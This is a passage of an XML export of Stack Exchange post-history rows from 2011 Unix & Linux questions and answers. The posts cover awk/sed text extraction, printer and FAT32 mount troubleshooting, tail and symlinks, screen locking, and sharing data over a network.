{chunk=chunk $0 RS}}    # append line to chunk&#xD;&#xA;         END {printf &quot;%s&quot;, chunk}'     # print last chunk (without adding a newline)&#xD;&#xA;&#xD;&#xA;If you must use a two-pass approach, determine the line offset of the last separator and print from that. Or determine the byte offset and print from that.&#xD;&#xA;&#xD;&#xA;    &lt;/input/file tail -n +$((1 + $(&lt;/input/file         # print the last N lines, where N=…&#xD;&#xA;                                   grep -n -e '---' |   # list separator line numbers&#xD;&#xA;                                   tail -n 1 |          # take the last one&#xD;&#xA;                                   cut -d ':' -f 1) ))  # retain only line number&#xD;&#xA;    &lt;/input/file tail -n +$(&lt;/input/file awk '/^---$/ {n=NR+1} END {print n}')&#xD;&#xA;    &lt;/input/file tail -c +$(&lt;/input/file LC_CTYPE=C awk '&#xD;&#xA;        {pos+=length($0 RS)}        # pos contains the current byte offset in the file&#xD;&#xA;        /^---$/ {last=pos}          # last contains the byte offset after the last separator&#xD;&#xA;        END {print last+1}          # print characters from last (+1 because tail counts from 1)&#xD;&#xA;    ')&#xD;&#xA;&#xD;&#xA;Addendum: If you have more than POSIX, here's a simple one-pass version that relies on a common extension to awk that allows the record separator `RS` to be a regular expression (POSIX only allows a single character). It's not completely correct: if the file ends with a record separator, it prints the chunk before the last record separator instead of an empty record. The second version using `RT` avoids that defect, but `RT` is specific to GNU awk.&#xD;&#xA;&#xD;&#xA;    awk -vRS='(^|\n)---+($|\n)' 'END{printf $0}'&#xD;&#xA;    gawk -vRS='(^|\n)---+($|\n)' 'END{if (RT == &quot;&quot;) printf $0}'&#xD;&#xA;" />
  <row Id="25117" PostHistoryTypeId="5" PostId="10437" RevisionGUID="b4d648bf-6613-4226-8c1d-d5d857c0296d" CreationDate="2011-04-01T12:20:22.247" UserId="6215" Comment="added 60 characters in body" Text="I brought to home my friend's printer (HP Deskjet F4210). I'm using Xubuntu 10.04.&lt;br&gt;&#xD;&#xA;When I use the command&lt;br&gt;&#xD;&#xA;&#xD;&#xA;    lpr scanned.pdf&#xD;&#xA;&#xD;&#xA;the printer does nothing. `lpq` writes&#xD;&#xA;&#xD;&#xA;    Deskjet-F300-series is not ready&#xD;&#xA;    Rank    Owner   Job     File(s)                         Total Size&#xD;&#xA;    1st     xralf 61      scanned.pdf                     1690624 bytes&#xD;&#xA;    2nd     xralf 62      (stdin)                         0 bytes&#xD;&#xA;    3rd     xralf 63      scanned.pdf                     1690624 bytes&#xD;&#xA;&#xD;&#xA;I installed the driver according to this [manual][1]&#xD;&#xA;&#xD;&#xA;It was possible to print a test page after installation.&#xD;&#xA;&#xD;&#xA;Could you help me to figure out what is wrong?&#xD;&#xA;&#xD;&#xA;  [1]: http://hplipopensource.com/hplip-web/models/deskjet_aio/deskjet_f4210_series.html" />
  <row Id="25122" PostHistoryTypeId="5" PostId="10439" RevisionGUID="38ef35a6-8904-42dc-8218-84e32de79b1b" CreationDate="2011-04-01T13:41:07.063" UserId="6216" Comment="added 985 characters in body; edited tags" Text="I'm mounting a FAT32 drive on my NAS (which has a USB port), and hitting a strange issue when I use the `ls` command on the drive root:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    ls: cannot access ???²é?u.g: Input/output error&#xD;&#xA;    ls: cannot access ?f$?â?.k: Input/output errorPuTTY&#xD;&#xA;    ls: cannot access ?21ï??é.ìk?: Input/output error&#xD;&#xA;    ls: cannot access ºq`{??ùê.?zï: Input/output error&#xD;&#xA;    ls: cannot access +?l`æ~2?.]9: Input/output error&#xD;&#xA;    ls: cannot access ??j.é: Input/output error&#xD;&#xA;    ls: cannot access ëégö²?è.?« Input/output error&#xD;&#xA;    ?.¢??: Input/output error&#xD;&#xA;    ls: cannot access ??d?¬«ëc.?½f: Input/output error&#xD;&#xA;    ls: cannot access ?r??%f.o??: Input/output error&#xD;&#xA;    ls: cannot access b}?çb¼=u.?c·: Input/output error&#xD;&#xA;    }??..÷p½: Input/output error&#xD;&#xA;    ls: cannot access u?;e?j?.&#xD;&#xA;&#xD;&#xA;I'm not sure why &quot;PuTTy&quot; is thrown in there on the second line.  It is the client I'm using to access the NAS, and I'm running the latest version, but I don't understand what it has to do with the `ls` command.  It goes on like this for a while and then starts listing files that aren't really there along with the files that are:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    ï¿½?=?^Oaaï¿½.h?=&#xD;&#xA;    ?*ab^G^S??.?^[?&#xD;&#xA;    a?cw??^?*.=?$&#xD;&#xA;    ï¿½??aï¿½hï¿½ï¿½.?ï¿½?&#xD;&#xA;    ??aï¿½?^_j!.?i?&#xD;&#xA;    ï¿½?a?m??^U.a^G^?&#xD;&#xA;    apps&#xD;&#xA;    ??^Q??a?y.ï¿½?z&#xD;&#xA;&#xD;&#xA;I'm running Debian/Lenny (now), but I had the same problem before I switched to Debian on my NAS.  I'm not sure which distro I was running before, I think it was a custom build.&#xD;&#xA;&#xD;&#xA;When I plug the drive in, `sdc` and `sdc1` appear in the `/dev` directory.  I'm unable to mount `sdc`, but can successfully mount `sdc1`.  These are the command I've tried using to mount:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    mount /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat /dev/sdc1 /USB&#xD;&#xA;    mount -o umask=0 -t vfat /dev/sdc1 /USB&#xD;&#xA;&#xD;&#xA;    # Additional&#xD;&#xA;    mount -t vfat -o codepage=850 /dev/sdc1 /USB&#xD;&#xA;    mount -t msdos -o codepage=850 /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat -o codepage=869 /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat -o codepage=850,iocharset=iso8859-7 /dev/sdc1 /USB&#xD;&#xA;    # ... and combinations of codepage 850, 869, 437 (the common ones)&#xD;&#xA;    # ... and combinations of utf8, iso8859-7, iso8859-1&#xD;&#xA;    # ... and additional flags such as umask=0, rw&#xD;&#xA;&#xD;&#xA;If I check the logs after the `ls` command, this is the result:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    $ dmesg | tail&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x8c31db6e)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0xee786bb9)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x2f16a272)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0xa8ee938e)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x6df5a84f)&#xD;&#xA;&#xD;&#xA;I'll be honest, my Linux knowledge isn't that great &amp;mdash; it's limited mostly to basic administrative tasks.  Of course, if I plug the drive into Windows (7) it works fine.&#xD;&#xA;&#xD;&#xA;One final note perhaps worth mentioning is that I remember having to use a special tool to format the drive because it was too large for Windows to format it.&#xD;&#xA;" />
  <row Id="25123" PostHistoryTypeId="6" PostId="10439" RevisionGUID="38ef35a6-8904-42dc-8218-84e32de79b1b" CreationDate="2011-04-01T13:41:07.063" UserId="6216" Comment="added 985 characters in body; edited tags" Text="éfilesystemsàémountàélsà" />
  <row Id="25124" PostHistoryTypeId="2" PostId="10450" RevisionGUID="8095f4ea-b6fe-4b28-9a9b-d476ac838fa5" CreationDate="2011-04-01T13:44:28.507" UserId="5923" Text="Try this, then:&#xD;&#xA;&#xD;&#xA;    OLDSUM=`tar zxOf olddata.tar.gz | md5sum | awk '{print $1}'`&#xD;&#xA;    NEWSUM=`tar zxOf newdata.tar.gz | md5sum | awk '{print $1}'`&#xD;&#xA;    if test &quot;${NEWSUM}&quot; != &quot;${OLDSUM}&quot;&#xD;&#xA;    then&#xD;&#xA;      echo save newdata.tar.gz&#xD;&#xA;    else&#xD;&#xA;      echo nothing changed&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;The capital `O` extracts the archive contents to `stdout`.&#xD;&#xA;&#xD;&#xA;It will not work, however, unless the files are added to the archive in the exact same order (which they probably are, though).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25125" PostHistoryTypeId="2" PostId="10451" RevisionGUID="5a2e195f-6391-43be-a71c-57e9da92f4d9" CreationDate="2011-04-01T13:51:55.033" UserId="4520" Text="The network protocol stack is designed to limit duplication. &#xD;&#xA;&#xD;&#xA;You may be better off tunneling over TCP.  Otherwise you will likely need to build your own program to duplicate your output.  How unreliable are your connections.  Mine are usually well over 99.9% reliable." />
  <row Id="25126" PostHistoryTypeId="2" PostId="10452" RevisionGUID="b24f1866-875a-4c16-b085-86e4f5a122aa" CreationDate="2011-04-01T14:03:46.963" UserId="5785" Text="AFAIK, There is nothing like that, and there is no reason to have something like that. There is a design problem if an admin think that he need a hosts file per user. Think about it: You can't hide a host just because you don't have it in /etc/hosts, you're reading more files when the system is initialized and maybe the difference between 2 users will be up to 5 hosts.&#xD;&#xA;&#xD;&#xA;The right question is: Is there a good reason to want something like that?&#xD;&#xA;&#xD;&#xA;Maybe the answer will say what kind of utility you really want" />
  <row Id="25127" PostHistoryTypeId="5" PostId="10389" RevisionGUID="2ac85740-e1e9-4cb2-9812-6bc948cdfc49" CreationDate="2011-04-01T14:11:49.077" UserId="2343" Comment="latest times ; added 37 characters in body" Text="    lnum=$(($(sed -n '/^---$/=' file | sed '$!d') +1)); sed -n &quot;${lnum},$ p&quot; file &#xD;&#xA;&#xD;&#xA;The first `sed` ouputs line numbers of the &quot;---&quot; lines...  &#xD;&#xA;The second `sed` extracts the last number from the first sed's output...  &#xD;&#xA;Add 1 to that number to get the start of your &quot;ccc&quot; block...  &#xD;&#xA;The third 'sed' outputs from the start of the &quot;ccc&quot; block to EOF&#xD;&#xA;&#xD;&#xA;**Update** *(with ammended info re Gilles methods)*  &#xD;&#xA;&#xD;&#xA;Well I was wondereing about how *glenn jackman's* `tac` would perform, so I time-tested the three answers (at the time of writing)...  The test file(s) each contained 1 million lines (of their own line numbers).  &#xD;&#xA;All answers did what was expected...&#xD;&#xA;&#xD;&#xA;Here are the times..     &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Gilles* `sed` (single pass)  &#xD;&#xA;&#xD;&#xA;    # real    0m0.470s&#xD;&#xA;    # user    0m0.448s&#xD;&#xA;    # sys     0m0.020s&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* `awk` (single pass)  &#xD;&#xA;&#xD;&#xA;    # very slow, but my data had a very large data block which awk needed to cache.&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (first method)  &#xD;&#xA;&#xD;&#xA;    # real    0m0.048s&#xD;&#xA;    # user    0m0.052s&#xD;&#xA;    # sys     0m0.008s&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (second method) ... **very fast**&#xD;&#xA;&#xD;&#xA;    # real    0m0.204s&#xD;&#xA;    # user    0m0.196s&#xD;&#xA;    # sys     0m0.008s&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'two-pass' (third method)  &#xD;&#xA;&#xD;&#xA;    # real    0m0.774s&#xD;&#xA;    # user    0m0.688s&#xD;&#xA;    # sys     0m0.012s&#xD;&#xA;&#xD;&#xA;---  &#xD;&#xA;*Gilles* 'gawk' (RT method) ... **very fast**, but is not POSIX.  &#xD;&#xA;&#xD;&#xA;    # real    0m0.221s&#xD;&#xA;    # user    0m0.200s&#xD;&#xA;    # sys     0m0.020s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*glenn jackman* ... **very fast**, but is not POSIX.&#xD;&#xA;&#xD;&#xA;    # real    0m0.022s&#xD;&#xA;    # user    0m0.000s&#xD;&#xA;    # sys     0m0.036s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*fred.bear*  &#xD;&#xA;&#xD;&#xA;    # real    0m0.464s&#xD;&#xA;    # user    0m0.432s&#xD;&#xA;    # sys     0m0.052s&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;*Mackie Messer*  &#xD;&#xA;&#xD;&#xA;    # real    0m0.856s&#xD;&#xA;    # user    0m0.832s&#xD;&#xA;    # sys     0m0.028s&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25128" PostHistoryTypeId="2" PostId="10453" RevisionGUID="49f10b3b-2bc4-48c0-9489-f271033a8c73" CreationDate="2011-04-01T14:30:19.087" UserId="4520" Text="ACPI is tied to the hardware which has changed dramatically in the last 15 years.  Dual core processors which never existed (or where extremely expensive in '97) are now standard.  Modern GPUs are now so power hungry that they may need their own thermal monitors.  The cost of adding thermal monitors is now cheap enough other devices may also have thermal monitors.&#xD;&#xA;&#xD;&#xA;Don't blame the software people for having to keep up with hardware changes.  This is natural.  Change can be frustrating.  Relax, take ten deep breaths, and adapt if necessary.  &#xD;&#xA;&#xD;&#xA;Most releases now have a variety of tools to monitor and report temperatures.  Many are good at self configuring.  You might want to check them out." />
  <row Id="25129" PostHistoryTypeId="2" PostId="10454" RevisionGUID="ea5494d5-575b-4fd7-8a84-89475dfff9ec" CreationDate="2011-04-01T14:35:12.517" UserId="820" Text="An application I am developing locally logs it's output to files formatted with the current timestamp such as `app-%Y%m%d.log`.&#xD;&#xA;&#xD;&#xA;To make it simple to be able to tail the current's day log in a terminal window, I have a symlink named `current.log` which points to today's log.&#xD;&#xA;&#xD;&#xA;At the start of work each day, I need to kill the tail process, point the symlink at today's file, and then re-run the command to `tail -f current.log`.&#xD;&#xA;&#xD;&#xA;Is it possible to change the target of the symlink without having to restart `tail` - by changing the target of the file handle without `tail` being any wiser?&#xD;&#xA;&#xD;&#xA;To automate this &quot;start of new work day&quot; task it would be easy to setup a cron'ed script to point the symlink at today's file, but it seems that the existing `tail` process would have no idea that the target has changed." />
  <row Id="25130" PostHistoryTypeId="1" PostId="10454" RevisionGUID="ea5494d5-575b-4fd7-8a84-89475dfff9ec" CreationDate="2011-04-01T14:35:12.517" UserId="820" Text="Is it possible to &quot;roll&quot; a symlink to a new file without affecting any open file handles?" />
  <row Id="25131" PostHistoryTypeId="3" PostId="10454" RevisionGUID="ea5494d5-575b-4fd7-8a84-89475dfff9ec" CreationDate="2011-04-01T14:35:12.517" UserId="820" Text="élogsàésymlinkàétailà" />
  <row Id="25132" PostHistoryTypeId="5" PostId="10439" RevisionGUID="abc7ed56-1008-41c2-97cb-02968e7ce715" CreationDate="2011-04-01T14:38:29.893" UserId="6216" Comment="added 264 characters in body" Text="I'm mounting a FAT32 drive on my NAS (which has a USB port), and hitting a strange issue when I use the `ls` command on the drive root:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    ls: cannot access ???²é?u.g: Input/output error&#xD;&#xA;    ls: cannot access ?f$?â?.k: Input/output errorPuTTY&#xD;&#xA;    ls: cannot access ?21ï??é.ìk?: Input/output error&#xD;&#xA;    ls: cannot access ºq`{??ùê.?zï: Input/output error&#xD;&#xA;    ls: cannot access +?l`æ~2?.]9: Input/output error&#xD;&#xA;    ls: cannot access ??j.é: Input/output error&#xD;&#xA;    ls: cannot access ëégö²?è.?« Input/output error&#xD;&#xA;    ?.¢??: Input/output error&#xD;&#xA;    ls: cannot access ??d?¬«ëc.?½f: Input/output error&#xD;&#xA;    ls: cannot access ?r??%f.o??: Input/output error&#xD;&#xA;    ls: cannot access b}?çb¼=u.?c·: Input/output error&#xD;&#xA;    }??..÷p½: Input/output error&#xD;&#xA;    ls: cannot access u?;e?j?.&#xD;&#xA;&#xD;&#xA;I'm not sure why &quot;PuTTy&quot; is thrown in there on the second line.  It is the client I'm using to access the NAS, and I'm running the latest version, but I don't understand what it has to do with the `ls` command.  It goes on like this for a while and then starts listing files that aren't really there along with the files that are:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    ï¿½?=?^Oaaï¿½.h?=&#xD;&#xA;    ?*ab^G^S??.?^[?&#xD;&#xA;    a?cw??^?*.=?$&#xD;&#xA;    ï¿½??aï¿½hï¿½ï¿½.?ï¿½?&#xD;&#xA;    ??aï¿½?^_j!.?i?&#xD;&#xA;    ï¿½?a?m??^U.a^G^?&#xD;&#xA;    apps&#xD;&#xA;    ??^Q??a?y.ï¿½?z&#xD;&#xA;&#xD;&#xA;I'm running Debian/Lenny (now), but I had the same problem before I switched to Debian on my NAS.  I'm not sure which distro I was running before, I think it was a custom build.&#xD;&#xA;&#xD;&#xA;When I plug the drive in, `sdc` and `sdc1` appear in the `/dev` directory.  I'm unable to mount `sdc`, but can successfully mount `sdc1`.  These are the command I've tried using to mount:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    mount /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat /dev/sdc1 /USB&#xD;&#xA;    mount -o umask=0 -t vfat /dev/sdc1 /USB&#xD;&#xA;&#xD;&#xA;    # Additional&#xD;&#xA;    mount -t vfat -o codepage=850 /dev/sdc1 /USB&#xD;&#xA;    mount -t msdos -o codepage=850 /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat -o codepage=869 /dev/sdc1 /USB&#xD;&#xA;    mount -t vfat -o codepage=850,iocharset=iso8859-7 /dev/sdc1 /USB&#xD;&#xA;    # ... and combinations of codepage 850, 869, 437 (the common ones)&#xD;&#xA;    # ... and combinations of utf8, iso8859-7, iso8859-1&#xD;&#xA;    # ... and additional flags such as umask=0, rw&#xD;&#xA;&#xD;&#xA;If I check the logs after the `ls` command, this is the result:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-bsh --&gt;&#xD;&#xA;&#xD;&#xA;    $ dmesg | tail&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x8c31db6e)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0xee786bb9)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x2f16a272)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0xa8ee938e)&#xD;&#xA;    FAT: Filesystem panic (dev sdc1)&#xD;&#xA;        invalid access to FAT (entry 0x6df5a84f)&#xD;&#xA;&#xD;&#xA;I'll be honest, my Linux knowledge isn't that great &amp;mdash; it's limited mostly to basic administrative tasks.  Of course, if I plug the drive into Windows (7) it works fine.&#xD;&#xA;&#xD;&#xA;One final note perhaps worth mentioning is that I remember having to use a special tool to format the drive because it was too large for Windows to format it.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;On closer inspection of the drive, all files appear to be present - so where is linux getting all this garbage from?  There are only several files and folders in the root directory on Windows.  Could it be data that has not been properly disposed of?" />
  <row Id="25133" PostHistoryTypeId="2" PostId="10455" RevisionGUID="e98e3169-c618-4e6f-8ac9-10291d7270c5" CreationDate="2011-04-01T14:47:21.230" UserId="1375" Text="I am running OpenBox in Arch Linux, how can I set it up so that I can have [slock][1] lock my screen after a certain amount of time?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tools.suckless.org/slock" />
  <row Id="25134" PostHistoryTypeId="1" PostId="10455" RevisionGUID="e98e3169-c618-4e6f-8ac9-10291d7270c5" CreationDate="2011-04-01T14:47:21.230" UserId="1375" Text="Lock screen w/ slock after a certain time?" />
  <row Id="25135" PostHistoryTypeId="3" PostId="10455" RevisionGUID="e98e3169-c618-4e6f-8ac9-10291d7270c5" CreationDate="2011-04-01T14:47:21.230" UserId="1375" Text="ésecurityàéopenboxàélockàélocköscreenàéslockà" />
  <row Id="25136" PostHistoryTypeId="2" PostId="10456" RevisionGUID="4dffc096-7bed-4d7a-b4f0-5770f0508396" CreationDate="2011-04-01T14:55:22.863" UserId="31" Text="I don't think that is possible, unless you can get tail to close and reopen the file periodically.  One tail (or any other program) opens a file, it gets a handle to the inode of that file.  At that point, filenames and links are no longer consulted.  That is why you can delete a file from the filesystem, and any program that has that file open will continue to work.  Its is only when the ;ast program closes the file that it actually gets removed from disk.&#xD;&#xA;&#xD;&#xA;Update: At least the version tail on OS X has a -F option, which will reopen the file if it has moved.  " />
  <row Id="25137" PostHistoryTypeId="2" PostId="10457" RevisionGUID="8c48e969-b4e3-4336-b15a-78df607a00cf" CreationDate="2011-04-01T14:58:06.667" UserId="73" Text="&lt;sub&gt;(I assume you mean after a certain amount of time with no activity)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;`slock` doesn't have that capability built-in; you have to use another tool that watches X and tracks how long there's been no activity. For example, using [xautolock](http://freshmeat.net/projects/xautolock/) with a delay of 15 minutes:&#xD;&#xA;&#xD;&#xA;    $ xautolock -time 15 -locker slock&#xD;&#xA;" />
  <row Id="25138" PostHistoryTypeId="25" PostId="10454" RevisionGUID="49df7e44-ca33-4bdc-8fcc-56c81db4ee05" CreationDate="2011-04-01T15:00:22.810" Comment="http://twitter.com/#!/StackUnix/status/53834093829423104" />
  <row Id="25139" PostHistoryTypeId="2" PostId="10458" RevisionGUID="a7bfcd53-a171-4e0b-8f33-3d86a6562588" CreationDate="2011-04-01T15:12:56.683" UserId="3848" Text="From your description it sounds like your specific circumstance could be solved by making a cron job which also killed/restarted the tail process.&#xD;&#xA;But in general, (Mac OS being the exception) tail will remember where you are in the file (that is, the byte offset).  Also, the open file handle points to the target file, not the symlink.  The symlink becomes irrelevant to the reading process once the file has been opened.  Although it's possible to have features which reopen the file based on the original path when something changes, most implementations don't do this." />
  <row Id="25140" PostHistoryTypeId="2" PostId="10459" RevisionGUID="b2bcc6a2-51b6-4647-aeba-f27599d2d882" CreationDate="2011-04-01T15:46:32.473" UserId="732" Text="If you're on a modern linux, you could use `inotifywait`, one of the command line programs from the [inotify-tools][1] package.  I haven't done this, but it looks like `inotifywait` could be used in a shell script to reset the symlink and stop and restart `tail -f` on the symlink.  You might even be able to dispose of the symlink, and just tail the current log file.&#xD;&#xA;&#xD;&#xA;Without using inotify, it is possible to write your own tail-like program that checks to see if the inode number of the filename it reads from has changed.  At that point, the tail-like program can close it's old file descriptor, and get a new file descriptor for the now-different filename.  This is a tricky program to write, and it's prone to race conditions.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/rvoicilas/inotify-tools/wiki/" />
  <row Id="25141" PostHistoryTypeId="2" PostId="10460" RevisionGUID="517f325c-2fc4-451d-8548-6daeeb8b8f95" CreationDate="2011-04-01T16:12:16.510" UserId="3077" Text="I have a bunch of different binary files (total size of all files is circa ~500GB) stored in a hard drive that is mounted to `machine001`.&#xD;&#xA;&#xD;&#xA;I have 200 other machines that need to access this data for READ-ONLY PURPOSES.&#xD;&#xA;&#xD;&#xA;What is the best way to share this data with all other computers, so that READS are fastest? (I use Ubuntu Linux)&#xD;&#xA;&#xD;&#xA;Is there a different scheme that would be even better for fastest reads?&#xD;&#xA;" />
  <row Id="25142" PostHistoryTypeId="1" PostId="10460" RevisionGUID="517f325c-2fc4-451d-8548-6daeeb8b8f95" CreationDate="2011-04-01T16:12:16.510" UserId="3077" Text="share data between different computers on a network?" />
  <row Id="25143" PostHistoryTypeId="3" PostId="10460" RevisionGUID="517f325c-2fc4-451d-8548-6daeeb8b8f95" CreationDate="2011-04-01T16:12:16.510" UserId="3077" Text="élinuxàéubuntuàéstorageà" />
  <row Id="25144" PostHistoryTypeId="2" PostId="10461" RevisionGUID="0b45aca1-1b1b-45fb-b18b-4b69b2678cb8" CreationDate="2011-04-01T16:17:33.197" UserId="4776" Text="NFS is the obvious answer.&#xD;&#xA;&#xD;&#xA;If the clients have space for caches, and the data updates infrequently, you could do various things such as storing the data in a version control system or mirroring it with rsync." />
  <row Id="25145" PostHistoryTypeId="5" PostId="10452" RevisionGUID="e84b67a3-7a97-4ca8-8256-2b9cad6888bb" CreationDate="2011-04-01T16:32:47.660" UserId="5785" Comment="added 189 characters in body" Text="AFAIK, There is nothing like that, and there is no reason to have something like that. There is a design problem if an admin think that he need a hosts file per user. Think about it: You can't hide a host just because you don't have it in /etc/hosts, you're reading more files when the system is initialized and maybe the difference between 2 users will be up to 5 hosts.&#xD;&#xA;&#xD;&#xA;The right question is: Is there a good reason to want something like that?&#xD;&#xA;&#xD;&#xA;Maybe the answer will say what kind of utility you really want&#xD;&#xA;&#xD;&#xA;EDIT - Maybe this is a good conclusion: if you use your own domain as a domain name server (in DNS), you have just 1 table to map domains in the server. DNS does not work at user-level." />
  <row Id="25146" PostHistoryTypeId="2" PostId="10462" RevisionGUID="8a80d62d-d139-498c-8631-ed83a4f0d439" CreationDate="2011-04-01T16:48:42.763" UserId="4776" Text="As far as I know there isn't. The easiest way to do what I think you want is to write an LD_PRELOAD library that overrides gethostbyname() and related functions." />
  <row Id="25147" PostHistoryTypeId="2" PostId="10463" RevisionGUID="7036f8ff-3787-4877-8bdc-cf92c65a871e" CreationDate="2011-04-01T16:54:52.027" UserId="5774" Text="From Wikipedia:&#xD;&#xA;&#xD;&#xA;&gt; There is currently no open-source&#xD;&#xA;&gt; equivalent of proprietary speech&#xD;&#xA;&gt; recognition software (e.g. Nuance's&#xD;&#xA;&gt; Dragon NaturallySpeaking or Windows&#xD;&#xA;&gt; Speech Recognition) for GNU/Linux.&#xD;&#xA;&gt; However, there are several incomplete,&#xD;&#xA;&gt; open-source projects and solutions&#xD;&#xA;&gt; that could be used to attain some&#xD;&#xA;&gt; elements of speech recognition in the&#xD;&#xA;&gt; free operating system. It is also&#xD;&#xA;&gt; possible to use Windows speech&#xD;&#xA;&gt; recognition software under GNU/Linux.&#xD;&#xA;&#xD;&#xA;Also from Wikipedia:&#xD;&#xA;&#xD;&#xA;&gt; Solutions&#xD;&#xA;&gt; &#xD;&#xA;&gt; The following is a list of current&#xD;&#xA;&gt; projects dedicated to implementing&#xD;&#xA;&gt; speech recognition in Linux, as well&#xD;&#xA;&gt; as major (though mostly incomplete)&#xD;&#xA;&gt; native solutions that are available as&#xD;&#xA;&gt; of March 2008:&#xD;&#xA;&gt; &#xD;&#xA;&gt; *CVoiceControl is a KDE and X Window independent version of its predecessor KVoiceControl&#xD;&#xA;&#xD;&#xA;&gt; *DynaSpeak from SRI International (speaker-independent speech recognition software&#xD;&#xA;&gt; development kit that scales from small- to large-scale systems, for use in commercial,&#xD;&#xA;&gt; consumer, and military applications)&#xD;&#xA;&#xD;&#xA;&gt; *CMU Sphinx is a general term to describe a group of speech recognition systems&#xD;&#xA;&gt; developed at Carnegie Mellon University.&#xD;&#xA;&#xD;&#xA;&gt; *GnomeVoiceControl is a dialogue system to control the GNOME Desktop that was developed&#xD;&#xA;&gt; in the Google Summer of Code in 2007.&#xD;&#xA;&#xD;&#xA;&gt; *Julius is a high-performance, two-pass large vocabulary continuous speech recognition&#xD;&#xA;&gt; (LVCSR) decoder software for speech-related researchers and developers.&#xD;&#xA;&#xD;&#xA;&gt; *LumenVox Speech Engine is a commercial library for Linux and Windows for inclusion in&#xD;&#xA;&gt; other software. It has been integrated into the Asterisk private branch exchange&#xD;&#xA;&gt; system [2]&#xD;&#xA;&#xD;&#xA;&gt; *Open Mind Speech a part of the Open Mind Initiative and aims to develop free (GPL)&#xD;&#xA;&gt; speech recognition tools and applications, as well as collect speech data.&#xD;&#xA;&#xD;&#xA;&gt; *PerlBox is a perl based control and speech output.&#xD;&#xA;&#xD;&#xA;&gt; *Simon (This project aims at being extremely flexible to compensate dialects or even&#xD;&#xA;&gt; speech impairments; requires HTK and Julius)&#xD;&#xA;&#xD;&#xA;&gt; *VoxForge is a free speech corpus and acoustic model repository for open source speech&#xD;&#xA;&gt; recognition engines.&#xD;&#xA;&#xD;&#xA;&gt; *Xvoice (requires ViaVoice to function)&#xD;&#xA;&#xD;&#xA;&gt; *Verbio ASR is a commercial speech recognition server for Linux and windows platforms.&#xD;&#xA;&#xD;&#xA;&gt; *Platypus is a open source shim that will allow Dragon NaturallySpeaking running under&#xD;&#xA;&gt; wine to work with any linux x11 application.&#xD;&#xA;&#xD;&#xA;&gt; *Vedics is a speech assistant for GNOME Environment&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Probably to use any of these tools you should write some kind of script yourself.&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="25148" PostHistoryTypeId="2" PostId="10464" RevisionGUID="a91c03e4-c7c1-41d2-a343-a544a49f5a89" CreationDate="2011-04-01T17:07:30.213" UserId="5785" Text="Well, NFS uses UDP, and maybe you'ill need some extra coding to ensure that no files get lost. I don't like it and it's not fully supported on all OSes.&#xD;&#xA;&#xD;&#xA;Maybe FTP is your answer for FAST reading, so FAST transferences since no software is faster than FTP to do so.&#xD;&#xA;&#xD;&#xA;But you say that you have a total size of ~500GB. You can implement some VCS using checksums to know what files need to be updated, but it's more coding and there are lots of VCS's. However, I think FTP is the best way if you want portability, and maybe read access does not imply a copy of everything. Even this way, FTP is the fastest one.&#xD;&#xA;&#xD;&#xA;So, if you want a VCS, to **transfer** just needed files, just fast. If you have Unix-like systems on all computers, you can install [GIT][1], and use `git pull` to update the repos. Nobody will be able to write to your repo, and just needed files will be updated, fast.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git-scm.com/" />
